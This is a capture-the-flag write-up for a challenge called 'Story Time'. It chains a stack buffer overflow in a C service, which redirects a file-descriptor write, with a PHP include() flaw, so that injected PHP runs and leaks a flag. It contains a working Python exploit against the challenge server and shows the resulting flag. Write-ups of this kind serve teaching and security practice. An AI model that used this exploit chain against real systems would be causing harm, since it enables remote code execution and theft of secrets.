$cat story-time.mdPwnHackultet 2026
Story Time
A web app and a binary service share a server through a protocol multiplexer, and a buffer overflow in the binary lets it redirect its own file write into a path the web app will execute as PHP.
$man story-time
What this one teaches:
- Corrupting a file descriptor variable on the stack to redirect where a program writes, without touching the return address at all.
- Local file inclusion, why a PHP include() on a file with no recognised extension executes it as code, even where a direct read would have been safe.
- Timing an attack around when a program deletes a file it created, since the window before that happens is the only one that matters.
Task description
A “Story Viewer” web app and a story-writing binary service, both reachable on the same port.
Two services, one port
An sslh protocol multiplexer sits in front of both a PHP web app and a C binary; it inspects the first bytes of a connection and, after a short timeout, routes anything that doesn’t look like HTTP to the binary instead. The flag lives in the FLAG environment variable, and PHP-FPM is configured to keep environment variables visible to scripts (clear_env = no), so any PHP code that runs server-side can read it directly with getenv('FLAG'). The problem becomes: how do you get PHP to run code you control.
The web side, by itself
$resource = $_GET['view'] ?? 'user_stories/welcome.txt';
$extension = strtolower(pathinfo($resource, PATHINFO_EXTENSION));
if ($extension === 'txt') {
echo htmlspecialchars(file_get_contents($resource));
} else {
include($resource);
}
There’s no path traversal filtering on $resource at all. Files ending in .txt are only ever read and HTML-escaped, safe, but anything without that extension is include()’d, which means PHP will execute it as a script. open_basedir restricts the include to /var and /tmp, so the file still has to live somewhere reachable; it just doesn’t have to be a .txt file.
The binary side, by itself
char naslov[TITLE_SIZE]; // 200 bytes
scanf("%s", naslov); // unbounded read
write(fd2, naslov, TITLE_SIZE); // writes the first 200 bytes to a file
scanf("%s") reads until whitespace with no length limit at all, directly into a fixed 200-byte stack buffer, the usual unbounded-read overflow.
What the binary writes, and where
The binary creates two files per connection: one holding connection metadata, at a path with no file extension at all, and one holding the actual story text, saved under the web root with a .txt extension. Both paths are opened and their file descriptors (fd1 for the metadata file, fd2 for the story file) are kept as local variables on the same stack frame as naslov.
Because the overflow writes past naslov and into the rest of that stack frame, it can reach fd2 itself, 1060 bytes past the start of the buffer according to the disassembly, and overwrite it with the value of fd1. After that overwrite, the program’s later write(fd2, naslov, TITLE_SIZE) call writes into the metadata file instead of the story file, even though every other part of the program still believes it’s writing a story.
That matters because the metadata file has no extension, the one condition that routes a request through include() on the web side rather than a safe text read.
Putting the two bugs together
- Connect directly to the binary’s port (bypassing
sslh’s short HTTP-detection window) and note the connection’s UUID from its own output; that UUID names the metadata file’s path. - Send an overflowing “title” containing, in order: a short PHP payload (
<?=getenv('FLAG')?>), enough padding to reach thefd2variable’s offset, and the raw byte value offd1, redirecting the later write. - While the binary is still alive and waiting for its next input (and so hasn’t yet deleted the metadata file), send an ordinary HTTP request to the web app:
GET /?view=/var/live_connections/<uuid>. - Since that path has no recognised extension,
index.phpruns it throughinclude()instead of a plain read, executing the injected<?=getenv('FLAG')?>and printing the flag.
The timing matters: the metadata file only holds the planted PHP for as long as the binary’s connection stays open and hasn’t cleaned it up yet, so the web request has to land inside that window, not after it.
The exploit
import re, socket, time, requests
HOST, PORT = "chal.live.hackultet.hr", 14003
s = socket.create_connection((HOST, PORT))
time.sleep(3)
banner = s.recv(4096).decode(errors='replace')
uuid = re.search(r'ID konekcije: ([0-9a-f-]+)', banner).group(1)
php = b"<?=getenv('FLAG')?>"
naslov = php + b"A" * (1060 - len(php)) + b"\x06" # \x06 is fd1's value, overwriting fd2
s.send(naslov + b"\n")
time.sleep(1)
s.recv(4096) # the binary is still alive here, waiting on its next input
resp = requests.get(f"http://{HOST}:{PORT}/?view=/var/live_connections/{uuid}")
print(re.search(r'CTF2026\[[^\]]+\]', resp.text).group(0))
s.send(b"done\n")
s.close()
Result
CTF2026[838994876018]
What each half actually contributed
The buffer overflow alone just corrupts a file descriptor variable; nothing would read that file as anything but static text. The LFI alone has nothing attacker-controlled to include, since every file it could reach would normally be plain story content. It’s the overflow specifically redirecting a write into an extensionless file, the one shape of file the web app treats as executable, that turns two separate, individually survivable bugs into one.
$cat flag.txt reveal
CTF2026[838994876018]